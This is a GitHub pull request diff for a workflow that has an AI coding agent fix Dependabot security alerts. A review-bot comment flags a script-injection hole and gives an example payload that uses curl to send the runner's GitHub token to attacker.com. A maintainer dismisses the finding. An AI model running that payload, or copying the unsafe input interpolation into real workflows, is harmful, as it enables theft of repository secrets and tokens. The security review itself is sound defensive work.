Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
15 changes: 11 additions & 4 deletions .github/workflows/fix-security-vulnerability.yml
Original file line number Diff line number Diff line change
Expand Up @@ -28,17 +28,24 @@ jobs:
with:
ref: develop

- name: Extract alert number
id: alert
run: |
INPUT="${{ github.event.inputs.alert }}"
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Script injection via unsanitized workflow dispatch input

High Severity

The github.event.inputs.alert value is directly interpolated into a shell run: block via INPUT="${{ github.event.inputs.alert }}". This is a classic GitHub Actions script injection — a user who can trigger workflow_dispatch could supply a crafted input (e.g., containing "; curl attacker.com/exfil?t=$(cat $GITHUB_TOKEN) #) to execute arbitrary commands within the runner context, which has contents: write, pull-requests: write, and access to secrets.ANTHROPIC_API_KEY. The safe pattern (used in other workflows like build.yml) is to pass the input through an env: block instead.

Fix in Cursor Fix in Web

Triggered by project rule: PR Review Guidelines for Cursor Bot

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fair point but low risk since only we can trigger this

echo "number=${INPUT##*/}" >> "$GITHUB_OUTPUT"

- uses: anthropics/claude-code-action@v1
with:
anthropic_api_key: ${{ secrets.ANTHROPIC_API_KEY }}
prompt: |
YOUR FIRST ACTION - run this exact command before anything else:
gh api repos/getsentry/sentry-javascript/dependabot/alerts/${{ steps.alert.outputs.number }}

Then use the output to follow the skill instructions below.

/fix-security-vulnerability ${{ github.event.inputs.alert }}

IMPORTANT: Do NOT dismiss any alerts. Do NOT wait for approval.

IMPORTANT: To fetch the alert, use EXACTLY this command format (replacing <number> with the alert number):
gh api repos/getsentry/sentry-javascript/dependabot/alerts/<number>
Do NOT use --paginate, query parameters, GraphQL, curl, or any other approach.
Your allowed tools are narrowly scoped - only the exact command patterns listed will be permitted.

If you can fix the vulnerability:
Expand Down
Loading